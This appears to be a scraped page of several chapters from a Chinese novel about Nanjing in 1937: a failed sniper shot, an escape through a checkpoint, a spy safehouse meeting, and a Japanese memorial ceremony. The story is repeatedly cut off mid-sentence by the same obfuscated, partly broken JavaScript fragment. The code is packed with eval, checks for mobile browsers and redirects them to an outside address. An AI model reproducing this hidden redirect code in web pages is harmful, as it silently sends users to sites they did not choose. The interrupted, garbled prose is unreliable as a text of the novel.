曲思冬一愣间,再去瞄准,发现骑着大马的松井石根已以迅雷不及掩耳之势钻进了身后的黑色轿车中。 最佳狙击时机就这样白白丧失! 曲思冬心里骂了声娘。 跳下横梁,曲思冬将步枪裹在棉被中,抱起棉被下楼。 这时,枪声一片。 曲思冬隐在墙后面,看到外面已乱成一锅粥,街两边的人群沿着两侧纷纷向外面涌。 曲思冬一步跨出大门,夹在了混乱的人群中一直向北跑。 候在一旁的陈大军悄悄跟在他的身后。 曲思冬走了十来米才停下脚步,朝着城门的方向看去。 四周的鬼子纷纷向三个穿着百姓服饰的人逼去。 包围圈越来越小。 他们一边跑一边开枪,试图突围。 他们在尽力向附近的秦淮河桥冲击。 他们手持的都是手枪。 陈大军忽然压低声音对曲思冬说道,是许云涛和徐志海! 曲思冬定睛一看,跑在最前面的果然是他们。 他们城防司令部的中士许云涛和上士徐志海! 和他一起参加玄武湖阻击战最后幸存下来的许云涛和徐志海! 前几天在清凉山分别后就再未见面的许云涛和徐志海! 刹那间曲思冬满腹疑问。 他们怎么会出现在这里? 他们怎么会有手枪? 在他们后面的还有一位陌生的枪手是谁? 墙上的那张海报是他们贴的吗?…… 前天傍晚,陈大军用曲思冬的那支狙击步枪射杀第六名日本士兵、救下曲思冬后,曲思冬就问起过陈大军,许云涛和徐志海的去向。 曲思冬将陈大军的回答在脑海中过了一下。 陈大军说过,那天中午,曲思冬送池橙走以后,陈大军和他们就分头去找老百姓的衣服。陈大军找了很远才在一间空房内找到了一套合身的衣服,他把衣服换掉后返回原处,就已经发现松树上刻着的竖线了,正纳闷间,发现一队巡逻的鬼子朝他走来,躲已经来不及了,他就拼命向清凉山山后跑。鬼子一边开枪一边追击,他一口气跑五里多路,晚上想按约定到汉中门桥下等曲思冬,但在半路上又遇到一小股鬼子,无奈之下再次逃跑、藏匿。第二天再回清凉山,先是听到几声枪响,他循声前去,正好看到了那一幕…… 而在三天后,许云涛和徐志海跟着一个陌生人出现在这里。 他们和自己的目的一样,要让这次富丽堂皇的入城式支离破碎! 虽然目的已达到,但此刻的他们已深陷绝境! 这条通往城内的街道,到处都是日本士兵,他们又能逃到哪里?! 一开始鬼子尚有所顾虑街边的老百姓,当几名鬼子中枪后,他们已无所顾忌! 不断有百姓中枪倒地! 那位陌生人已经中弹倒地! 陈大军朝曲思冬射来一道焦虑的目光:“咱们要不要帮忙?” 曲思冬迟疑片刻,还是毅然地点了点头。 毕竟,这是他的两名兄弟! 是被曲思冬重新拉进战场的兄弟!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259535|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他决定放手一搏! 尽管没有枪,但他们有四颗手雷。 曲思冬用眼色示意了一下陈大军,他马上会意。 两人几乎同时去掏手雷。 正在此刻,一个低沉的声音在他们耳畔呵斥道:“你们这是要找死吗?” 曲思冬回头看到的是一张陌生的脸。 是个中年男人。 他一手拉住曲思冬的手臂,斩钉截铁地说道:“你们跟我走!” 陈大军条件反射地马上问道:“你是谁?” 中年男人有些生气,怒道,不该问的别问! 他言语坚定,竟不容曲思冬他们拒绝! 三人夹在滚滚的人流中,沿着伤痕累累的街道,向着北方一路跑去! 一路向北。 枪声渐远。 跑着跑着曲思冬总觉得有哪儿不对劲,好像有什么事被他忽略。 突然间他想起来了,是对方的声音! 那声音太熟悉了,尤其是最后一句“不该问的别问”!好像在哪儿听到过,而且时间间隔不会太久。 他的大脑快速转动着。 跑着跑着他恍然大悟,是那天深夜,跟踪几位夜行人,在那间低矮的平房窗户下听到的声音。 就是这个声音,当时因为一张纸条的内容呵斥了董处长。 原来他是“钉子”! 那个领头的陌生人是钉子派来的。 许云涛和徐志海也已成为他们中的一员了! 想到这两位弟兄一定凶多吉少,曲思冬的心仿佛一下子遭到大力撞击,接着整个人犹如没有灵魂的躯壳,在马路上飘忽游走。 第26章 脱险 前方的人流忽然拥堵起来。 跑在前面的钉子慢下了脚步,头也不回地道:“不好,鬼子在检查!” 曲思冬心中一惊。 他看到鬼子已在马路中央设置了障碍物,把人群引流到马路两侧,每一侧有两个鬼子,凡是可疑者一律搜查。 一切似乎恢复了的平静,后方已听不到枪声。马路两边的鬼子开始回归原位,警戒位保持在十米左右,枪全部端在手上,以应付突发事件。 脚下的这条主干道周围,连条小巷都没有。 曲思冬有些慌乱。 他的棉被里包着一支长枪,他的口袋还有两颗手雷。 而就在这时,他还看到了人流中两个熟悉的身影。 妹妹曲思秋和少女池橙。 要命的是,这个时候池橙也发现了他。 更要命的是池橙一见到他,就惊喜地大喊道:“曲思冬!” 喊完她就欢快地向曲思冬跑来。 附近鬼子的视线立即投向了他们。 在池橙眼里,曲思冬就是她的依靠,无论周围环境多恶劣,只要一看到他,她的心就找到了停泊的港口。 所以,她几乎是张着双臂向曲思冬扑来。 曲思冬感觉周围所有的人都在看他,所有人的眼光也都会注意到他手里抱着的棉被。 而这棉被里藏有不可告人的秘密! 曲思冬如芒在背。 池橙一扑进曲思冬的怀里,马上觉得不妥,像触电般缩了回来,脸一下子就红了。 她立即高声道:“你带着个棉被干什么?” 说着就去拽曲思冬的棉被。 曲思冬觉得周围的目光又一下子聚集在他抱着的棉被上。 池橙原意是想随便找个话题打破尴尬的局面,孰料,她竟找了个曲思冬最不愿听到的话题。 她这是要在众目睽睽下揭穿自己的秘密! 而这个秘密是致命的。 陈大军急的不知如何是好。 但见曲思冬这时一把抱住池橙,把她搂在怀里,嘴里说,这些天你跑哪儿去了,我找你找得好辛苦! 听到曲思冬的一番话,围观的人群心想,原来这是一对因战争失散的小情侣,在这里意外相逢了。 触景生情,于是很多人纷纷联想到自己的遭遇,不禁愁上心头。 曲思冬把棉被紧紧地夹在俩人中间! 池橙没想到曲思冬会反过来抱她,并且这么用力,心砰砰直跳,有如鹿撞。 她不知道曲思冬之所以用力抱她,是怕力量轻了,棉被会掉下来。 这时曲思冬在她耳边轻轻道:“棉被里有枪。” 这回轮到池橙怕棉被掉下来,她把他抱得更紧了。 如果这个秘密可以通过这样的方式一直守下去,曲思冬倒愿意一直抱下去。 可是,这解决不了问题啊! 曲思冬又惶急又焦虑…… 正当曲思冬绞尽脑汁谋求出路之际,身后响起了急促的汽车喇叭声。 一名鬼子疾步上前,大声吆喝示意他们让道。 两名鬼子抬下路中央的长木。 一辆黑色的福特轿车缓缓驶过。 曲思冬借着这样的机会和池橙慢慢退到路边。 钉子和陈大军见状连忙把他们挡在身后。 曲思冬和池橙发现曲思秋不知何时站在了他们旁边,曲思冬刚想打招呼,曲思秋用眼神示意了他们一下,曲思冬把到嘴的话又生生咽了回去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259536|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此刻那辆福特轿车在驶离障碍物后突然停了下来。 车上匆忙下来一位戴着眼镜身着黑色长衫的中年人,他眼睛朝曲思冬他们这儿打量着,嘴里突然发出兴奋的喊叫:“橙儿,橙儿,怎么是你?” 池橙不由放开曲思冬,盯着中年人看,马上应了一声:“爸……” 池橙的语气明显带着哭腔,透着委屈。 中年人走近,拉着池橙的手,声音颤抖:“你去哪儿了嘛!你妈见不到你急坏了,天天在家哭!” 说完,他眼光向曲思冬站立的方向扫了一眼,微微愣了一下,拉着池橙就要走。 池橙盯着父亲看着,又转头看了看前方的轿车,挣脱了他的手。 中年人皱了皱眉:“橙儿,不要胡闹,回家再说! 池橙突然想起什么,不再挣脱,牙齿一咬指了指曲思冬对她父亲道:“这是我……我男朋友,带他一起走!” 中年人略有迟疑,但还是马上说,“好的。” 曲思冬转身一把抓住陈大军,低声交代一句:“到我家找我。” 接着他借着周围身体的掩护,把陈大军的两颗手雷放到了裤子口袋。 他抱着被子,跟在池橙身后,从马路中央径自上了那辆黑色的福特轿车。 轿车的副驾驶上还坐着一年轻人人,年纪看上去要比曲思冬大上几岁。 一边登车,池橙的父亲一边介绍道:“小鞠,这是小女,这位是小女的……朋友。” 年轻人转头向池橙他们问了声好,曲思冬看到他的右脸颊上有一道数厘米长的疤痕。 曲思冬机械地点点头,他的心思还放在他的棉被上。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第27章 月息路21号 入暮时分,天空阴沉了起来,接着刮起了西北风,吹在电线上发出呜呜的声音。 要下雪了。 冬天的夜来得快,眨眼的功夫,天已漆黑如墨。 吃罢晚饭,曲思冬知道该走了,起身和大家告别。 池橙打开门探出脑袋看了下外面,恋恋不舍说:“思冬,你还是别走了吧,天太黑了。” 红霞接过池橙的话:“是啊,我们家又不是没地方,正好一楼奶奶的隔壁有一间空房,我收拾收拾,你就在这睡一晚算了。” 池碧疆跟着说:“最关键外面不安全。” “如今的南京城没有一个地方是安全的。” 尽管大家都有诚心挽留的意思,曲思冬还是归心似箭,他进房间抱起他的棉被。 池橙跟在身后,终究没能忍住:“我什么时候能再见到你?” 曲思冬敷衍道:“我会常来的。” 说完走出房子,一头扎进茫茫的夜色中。 风中夹着零星的小雨,这是下雪的前兆。 曲思冬专挑小路,几乎是摸索着向太平门方向而去。 回家的路太漫长,曲思冬花了将近两个小时。 曲思冬先是到了后山,只有父母在那里,不见林赤他们,一问才知他们回到东麓的石头房子睡觉去了。 曲怀齐夫妇看到儿子平安归来,松了口气。 曲思冬想起陈大军,问:“大军回来了吗?” 曲怀齐夫妇互看了一眼,柳兰说:“没看到啊,他不是和你一起走的吗?” 曲思冬再回石头房子,远远见房子的灯还亮着。 推门进去,大伯已入睡。张遥倚在床头,林赤坐在床边,两人在交流着什么。 见是曲思冬,林赤站起来。曲思冬把毛瑟98K从被子中取出,递给林赤。 “这把枪完璧归赵。” 林赤接过枪问:“任务完成得怎么样?” 曲思冬想起机会的错失,沮丧地说道:“妈的,就差一点!不是那些草包搅局,我就成为民族英雄啦。” 林赤笑着说,“这样重大的任务是需要周密计划的。” 曲思冬看到石桌上放着几张纸,走近一看,正反面密密麻麻写满了日文,大为好奇,“你们这是做什么?” 张遥一直想和曲思冬打招呼,但插不上嘴,连忙回答道:“林大哥在跟我学日语哩。” 曲思冬露出嘲笑:“一个国家的语言,这么轻易就能学会的话,那这个国家的语言也太浅薄了!” 张遥一骨碌爬起来,钦佩之色溢于言表:“别不信,林大哥是个语言天才,一天时间不到,他所掌握的够多的了!” 曲思冬满腹怀疑,不知真假。 俄顷之间林赤开口道:“你爸给的几张纸都用完了,家里还有纸吗?我今天还想继续学点。” “这里哪有有什么纸。” 说完曲思冬突然想起什么,从上衣口袋掏出那张“寻人启事”,反正也没什么用。 “这张纸的反面还可用用。” 掏出那张纸片,展开,推到林赤的面前。 林赤看到纸的一面已写了不少字,拿起看了一下,脸色微微一变。 曲思冬并未看到林赤细微的变化。 林赤显得若无其事地道:“这张纸是怎么来的?” 这句话一下子打开了曲思冬的话匣,他将关于这张纸条的所有章节对林赤娓娓道出。 曲思冬看到林赤一直在思考什么,心中好奇试探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259537|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问道:“难道你知道这张纸条的来历?” “南京失陷,多少家庭流离失所,出现这样的寻人消息不足为奇。”林赤漫不经心应了一句。 曲思冬搬来木板,准备在张遥的床前再搭一张床。 林赤便前来帮忙。 忙到一半,林赤问曲思冬:“曲营长,你对南京熟,城里有月昔路吗?” 曲思冬思索了一会儿:“月息路好像听说过,但想不起来了。” “‘月昔’这俩字怎么写?” 曲思冬狐疑:“你都不知道这俩字怎么写,又怎么会问起这个问题呢?” 林赤没回答他的问题,继续道,“你好好想想,月昔路在什么地方?” 曲思冬边思索着边道:“月亮的月,休息的息,月息路,好像是在中山北路附近……” 突然他一拍脑袋:“我想起来了,在西康路上,西康路上有一条四五百米的巷子,那条巷子就叫月息路!” 林赤噢了声,继续干活。 曲思冬知道林赤一定有什么事情瞒着他,但忍住没有追问。 临睡前,林赤又问:“你们是如何进出南京城的?” 曲思冬不无得意地把进出南京城的路径向林赤描述了一下。 一夜无话。 第二天天未放亮,曲思冬醒来,发现和他挤在一张床上的林赤已不见,一摸被窝,尚有余温,想起林赤腿上有伤,料想他不会走远,决定起床看看。 屋外也没有。 和林赤认识不久,曲思冬一直好奇林赤的身份,他枪法奇准,思维清晰、思虑过人,还有就是从昨天晚上张遥的描述,这个人的学习能力还很强。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第28章 新年 林赤推门的一刹那,冬雨扑面而来,冰冷的雨水中夹带着雪花。 这是林赤第一次感受南京的雪。 晨曦依旧被黎明前的黑暗包裹,透不出一丝光亮。漫天的雪花看不见,摸不着,只能通过脸部末梢神经传导的凉意来感知它的存在。 林赤是去年才来到这座城市,准确的讲,是去年四月份到才到南京中央陆军军官学校报到的。 而四月份,对南京而言,已经过了下雪的季节。 以往观雪的记忆,只存在于上海的家。 上海江湾镇那栋老旧的楼房前,或者屋后那块不大的菜园里。而这样的场景,必定有着父母的身影。 可那幅如今只剩下白与黑的画面在他的脑海中已定格为一张发黄的照片。 他甚至无法记得当时父母身着衣服的色彩。 尽管他八岁的时候,参加国际少儿记忆大赛,囊获金牌,被上海各大报纸誉为记忆神童。 尽管他与父母的诀别只有五年光景。 一切已恍如隔世。 关于他对父母的记忆中,唯一的色彩就是那一抹鲜艳的红色。 这红色,妖艳如魔。 这红色,像是用刻刀深深镌在他的灵魂深处,让他常常在广袤的黑夜里惊醒。醒来以后,他从来没有睡着过。 当时,他还不叫林赤,他叫林昂。 林赤这个名字,是他自己给自己取的。 …… 林赤跃上太平门城楼的时候,他已发现了身后有人跟踪。 从身影的形态,他判断跟踪他的人一定是曲思冬。 当他从那棵桐树上跃向城楼,脚一着地后,他就越跑越快,他甚至忽略了腿上的枪伤。 他跑着跑着脑中就显现五年前江湾镇的场景。 五年前的他也是像今天这样跑着…… 虬江十八湾,弯弯到江湾。 五年前的江湾。 1932年2月20日。 这是一个让他刻骨铭心的日子。 他自幼聪颖过人,小学只上了三年,中学只上了四年,十六岁考入大学,当年十九岁的他,已是吴淞镇国立同济大学机械专业的三年级大学生。他的父母亲分别是国立同济大学的工科和医科老师。 他们一家三口步行回家,快到家的时候,他突然像一个孩子似的跑了起来,越跑越快…… 这时他听到了嗡嗡的轰鸣声。 抬头他看到天空中出现了十多架飞机。 炸弹如雨。 小小的江湾镇顷刻一片火海。 他甚至没有听到父母的呼喊,他们已湮没在狂嚣的烟尘中,父母身首异处,只留下了那一抹鲜艳的红。 他在火光中狂奔! …… 林赤几乎是在一片痛苦的回忆中来到了月息路二十一号。 大门微掩,他轻轻一推,便进了院子。 所有的房门都锁着。 他看到了正屋的墙面上,挂着一块木板。木板上写着:“新年至,打水迎客”。 林赤快速走到水井边,他看到井架上一根粗硕的绳子,他毫不犹豫提绳,绳子居然是固定的。他马上顺着绳子滑了下去。 下滑两米多的样子,他看到一侧出现了一个直径一米多的洞口,他探身一跃,落地之际才发现洞里空间很大,竟能直起身子。 洞口斜向下方,四周贴着墙砖,居然亮着电灯。一直走了二十多米远,他看到了一扇门,门照例没关,似乎专为迎接他的到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259538|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 推门入室,一个宽敞而井井有条的空间跃然出现在他的眼前。 靠近门口,摆放着一张沙发,沙发上斜躺着一个人,身上裹着大衣,一顶棉帽盖在他的脸上。 林赤伸手推他。 那人把棉帽向下拉了拉,盯着林赤看。 “是我!我来了!我的代号“新年”!” …… 天上是日本人的飞机。 林昂声嘶力竭地哭喊着,在硝烟中拼命地狂奔。 他丝毫不理会身后地动山摇的爆炸声。 在江湾和庙行一带的结合部,他终于看到了中国军队。 中国军队有人在向他开枪,林昂并不畏惧,依旧我行我素向他们跑去,忽然依稀听到有人喊了一声:“别开枪,是个孩子。” 枪声停了。 十九岁的林昂当时又矮又瘦,看起来确实像个孩子。 临近阵地,忽然冲出来一个身影,把林昂扑倒了。 接着林昂听到不远处一阵震耳欲聋的爆炸声。 爆炸声结束,那人爬起来,掸掸身上的泥土,狠狠的骂了一声:“你小子不要命了!” 林昂不理会他,爬起来继续喊道,我找你们长官,我要枪,我要打鬼子,我要参军! 他的眼睛布满血丝,脸涨得通红,呼吸急促。 没人理他,有一位士兵扑哧一声笑了起来。 林昂更生气了,拿起一块砖头就砸了过去。 那士兵连忙躲过,咆哮道:“你个熊孩子,你疯了!” 扑倒林昂的那人双手握着林赤的肩膀,说,“我就是这里的最高长官,我叫朱赤,有什么事你对我说!” 这章没有结束,请点击下一页继续阅读! 第29章 接头 锤子突然不说话了。 他把身子重新陷入了沙发里,头埋在手心中,很久没有抬头。 林赤心想一定出现了什么意外。 “难道连你都不知我的任务?”林赤起疑。 锤子抬起头,嘴唇动了一下,呐呐地想说什么又忍住了。 林赤看到了锤子沮丧地眼神。 “招募你归队,这是蜂鸟通过2号电台发来的指令……” 林赤打断锤子,问:“这个指令什么时候发出的?” “三天前,也就是日本人攻占南京第二天。” 锤子接着说:“2号电台和我们约定的时间是每天凌晨五点收发,可是自从上次之后,2号电台一直保持静默,今天你来之前,我又呼叫过,可没有回音。” 林赤问道,你的意思是2号电台已静默了三天? 锤子点了点头。 林赤若有所思:“咱们的电台多大功率?” “8瓦。” “采用干电池电源?” 锤子继续点头。 林赤又问:“天线摆在什么位置?天线有多长?” 锤子想了想说:“天线两米多长,架在屋子后面的一棵树上,都用树叶隐蔽好了。” 林赤来回走了几步,在锤子面前站定。 锤子也站了起来。 “8瓦的功率,覆盖的范围不会超过两百公里,从你们约定了收发时间这点来看,2号电台很有可能在敌占区,蜂鸟同志我早有耳闻,他应该是我们系统的高层核心,所以2号电台它只是个中转电台,在上海的可能性最大。” 锤子不由得连连点头。 林赤又慢慢向前走了几步,忽然回头看着锤子说道:“2号电台也许已出现意外,我们应该尽快知道我们的任务!另外,鉴于目前南京的形势,我建议尽快建立与重庆的直接联系!” 锤子忙说道:“可我们目前有困难……” “你是指电台功率不够?” “电台功率小这是硬伤!” “这不是问题,关键是需要我们系统独立的密码本。” 锤子思索片刻:“咱们处撤退南京时,在南京留下了一套密码,我有办法找到!” “那就好,我来改装电台!你尽快找一台大功率的收音机,多准备一些2伏的干电池,我还需要一支电焊笔。” “这些我来准备。” “如何获得密码本?” 锤子压低声音:“待会儿你去一趟国际安全区,在美国大使馆旁边有一家烟卷店,那是我们的一个联络站,店主五十来岁,是个男的,你去和他接上头。” “密码本在他手里?” 锤子摇了摇头:“不,密码本在一个代号“二舅父”的人手里,他奉命蛰伏,你去唤醒他。” 锤子从桌子上找来一张纸和一支笔,递给林赤:“这是接头暗语,你设法把它记住。” 林赤只是扫了一眼,将它还给锤子。 “你这就记住了?”锤子满脸惊讶。 林赤点头。 “当着我的面重复一遍。”锤子语气决绝,他信不过。 “到了烟卷店,我问,‘有多米尼加雪茄吗?’对方回答,‘本店本小,不卖高档货;我说,‘我去年五月份还在你店里买过’;对方说,‘您一定是记错了,本小店去年六月份才开的张’;我说,‘那给我来三包哈德门吧’;对方说,‘先生您烟瘾真大’。” 锤子一双眼睛瞪得大大的,心中大为惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259539|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶。 锤子道:“对上暗语后,联络站就被激活,他会在店前的商品信息栏里贴上一张告示,内容是:二舅父病重,急需一剂拔疴处方。” 锤子继续道:“这期间,你就在店里帮忙,直到‘二舅父’出现。” 林赤问:“和‘二舅父’的接头暗语是?” “来人会说,‘我有一件上好的裘皮大衣,放在你店里可以代卖吗’;你说,‘代卖可以,不过我要先看货’;对方会说,‘我这件裘皮大衣可是祖传的,不是没饭吃了我可舍不得卖’;你说,‘饭都吃不饱了裘皮大衣有什么用’;他说,‘起码还可以扛过这个寒冷的冬天’……” “我记下了,我这就动身前去。” 林赤又想起什么,说道:“你帮我弄些毛瑟98K的子弹,此外再弄些勃朗宁M1903的子弹。” “勃朗宁的子弹没问题,我这里就有,毛瑟步枪的子弹我去找。” 锤子拉开抽屉,从里面拿出一把枪,递给林赤。 “这把枪你先拿着,也许会用得着。” 走到洞口,林赤又转身回来,问道:“这里还有其它出口吗?” “有,我带你去,它通到屋后的小山坡上。” …… 林赤加入中华民族复兴社是去年从法国学成归来后,经由南京中央陆军军官学校的炮兵上校教官谢承志和战术上校教官何尚武二人共同介绍加入的。 中华民族复兴社简称复兴社,是三民主义革命同志力行社的外围组织。强调“一个主义、一个政党、一个领袖”。 炮兵教官谢承志在这次对日作战中,担任教导总队第一旅二团的团长。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第30章 亡灵祭 刚刚从黑色轿车下来的七八名日本军官这时鱼贯而出,在主席台上就坐。 接着出来一位长袍老者,六十来岁模样,戴着眼镜,留着长须,身材消瘦,他在主席台最边上坐下。 一个中国人模样的翻译手持铁皮做成的扩音喇叭,走上前台。 他回头看了看日本人,一个日本人手微微挥了挥,他立即转头对着操场上的中国人喊道:“亲爱的南京市民们,今天大日本皇军将在此举行“祭亡灵”仪式,以纪念英勇牺牲的大日本勇士,同时,大日本皇军将推举一名南京人,担任南京自救会会长,这个人,有声望,有地位,并且乐于帮助一直沉浸在苦难中的南京市民,以度过难关,同时,大日本国也将毫无私利地帮助我们,以实现“大东亚共荣”之目的……下面祭亡灵仪式开始之前,我们先请佐方太君讲话。 “佐方太君”坐主席台左边第四位,佩少将衔,可以看出他是这次“祭亡灵”的主事者,紧邻他的右手边,是一位日军中将军官。 “佐方太君”清了清嗓门,用他生硬的中国话说道:“亲爱的南京的市民们,你们好……”他中国话水平有限,憋了半天,下面的话竟然不知如何表达,就干脆又运用他的母语,站在台前的中国人连忙翻译。 佐方大声道:“我们大日本皇军为了实现伟大的大东亚共荣,拯救中国人民于苦难,从大洋彼岸一路浴血奋战,千里迢迢来到这里,就是为了让你们能够过上好日子。南京,是中国的首都,而首都人民至今还吃不饱肚子,穿不好衣服,可你们的政府,昏庸腐败,从来不把人民的疾苦放在心上!我保证,只要你们不和大日本作对,并衷心拥护,我们是不会伤害你们的……在这非常时期,以平定南京城时下混乱的局面,我们决定成立南京自救会,同时推选一名自救会会长,他就是南京赤盟会会长陶天阙老先生,我们有请他讲话!” 佐方说完,看着坐在左边首位的长袍老者。 陶天阙起身走到台前,从翻译手里接过扩音喇叭,说道:“鄙人姓陶,名天阙,字松林,是南京赤盟会的会长……” 听到这儿,人群中不少人开始窃窃私语,看来赤盟会在南京还是享有相当高的知名度。 陶天阙继续说道:“鄙人早年毕业于日本政法大学,在日本生活的这几年,日本气象清明,人们友善,可没想时局发展如此之快……今天日方邀请我,只是说让我参加他们的官方活动,至于选我当所谓的南京自救会会长,日方连与我商量都没有。本人笃信神权,办理赤盟会历十有六年,向守会章,不闻政治。且赤盟会亦有宗旨:不涉政治、维护和平。这个自救会会长,本人没有能力,加上已年老体迈,无法胜任,还是请佐方君另择贤明!” 说完径自回到坐处。 佐方脸色阴沉,本欲发作,强行忍住,说道:“松林老先生太谦虚了,改天一定登门拜访,请先生出山!”说完,用手示意了一下中国翻译。 翻译是个中年男人,马上大声道:“下面大日本皇军将用他们的“招魂舞”,祈愿漂泊在外的勇士亡灵魂归故乡。” 鼓乐再次响起。 舞者与乐手同时在台上挥舞着肢体。 或急或缓的鼓点每敲击一次,都让林赤战栗,仿佛在敲击他的心扉。 有人说,战争的本质就是异族文化站在废墟上的舞蹈。 这舞蹈,像是怪异的妖魔,伴随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259540|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着对国人肉体的践踏和精神的折磨,一次又一次地让人如坠深渊。 十来分钟的舞蹈,对林赤来说,漫长得像是历经了一个世纪,像是历经了生与死的交融。 手拿喇叭的中国人又走上台前,喊道:“下面,祭祀开始,抬神案,上法器,请神像!” 几张桌子拼成的案板,上面摆上香炉、烛台、鲜花,且放满了各种水果。 一尊“神像”被“请”了上来。 接着,台上的军官纷纷离开主席台,和舞者们一起,弯腰祭拜。 就在这时,前方的人群中传来一个日本人的咆哮声:“八嘎!” 紧接着一个三十来岁的中国男子被一个日本军官拖拽出人群。 祭拜被打断,所有祭拜者回头。 日本军官一脚将青年男子踢倒。 嘴里一边咿呀的叫骂着一边拔出刀。 林赤用他有限的日语知识听出了端倪,大概意思是这个中国人用手指了指神像,大不敬,该杀! 他把刀架在了中国男子的脖子上。 人群中一阵骚乱,不少人见此情景,纷纷后退。 警戒的日本士兵立即把枪口抬了起来,人群又渐渐安静。 提刀的日本军官把眼光投向佐方,希望得到他的明确指示。 佐方几乎不做思考,用日语说道:“杀了,祭祀亡灵!” 青年男子被拖到台前。 男子浑身瑟瑟发抖。 这时,主席台上的陶天阙连忙疾步下台,走近祭拜的佐方,用日语和他在交涉着。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第31章 邂逅 中午时分,“祭亡灵”仪式谢幕。 在鬼子全副武装的护送下,几辆黑色轿车陆续驶离。 日本士兵这才允许围观的人群撤离。 人流如潮,纷纷向两个出口方向涌去。 一个老太带着一个年幼的小姑娘。小姑娘又瘦又黑,精神倦怠,看样子已经好几天没有吃饱过肚子,小小的身子在人流中歪歪斜斜。 在操场的南出口,几名日本士兵握着枪警惕地环视四方。 刚才操场上日本军官拔刀的一幕,已经在小姑娘幼小额心灵里留下了无法抹去的阴影,临近出口,当小姑娘看到拿枪的日本士兵后,本能地向后退缩,再也不肯迈步,任凭老太如何拉拽就是不肯走,人流很快在此阻塞。 其中一名日本士兵见此情形,心中不乐,快步挤进人群。 小姑娘以为日本人是冲她而来,吓得脸色苍白,浑身发抖,接着“哇”一声大哭起来。 这一哭不打紧,那名日本士兵本来就已生气,听到哭声后,心中烦躁,火气一下子腾腾地窜了上来。 老太已发现情况不妙,慌忙去抱孩子。 年幼的孩子实在不懂事,哭得更厉害了。 日本士兵由烦躁开始狂躁,几乎不假思索地挥起枪托,就向老太砸去。 林赤距离他们几步之遥,他已经感觉到那位日本士兵的杀气。 他拨开人群,快速地逼近了他们。 枪托砸下之际,立即被林赤一把抓住。 枪托停在半空中,日本士兵怎么用力都挣脱不了。 日本士兵看到一个二十多岁的年轻人双眼中射出的冷冷目光。 这目光一开始让这位士兵不寒而栗,但这种感觉只是俄顷之间,日本士兵马上觉得对方伤害到了他的自尊心,便再使劲夺枪,这一次,没怎么用力,枪就从对方手里拽了出来。他几乎没有迟疑,立即将枪托转向林赤砸了过去。 林赤没有躲闪,他知道如果躲闪必定会激怒对方。 周围全是老百姓。 这种时候,日本士兵如果被激怒,后果一定很严重。 他想起那位少女在他耳边所说的话。 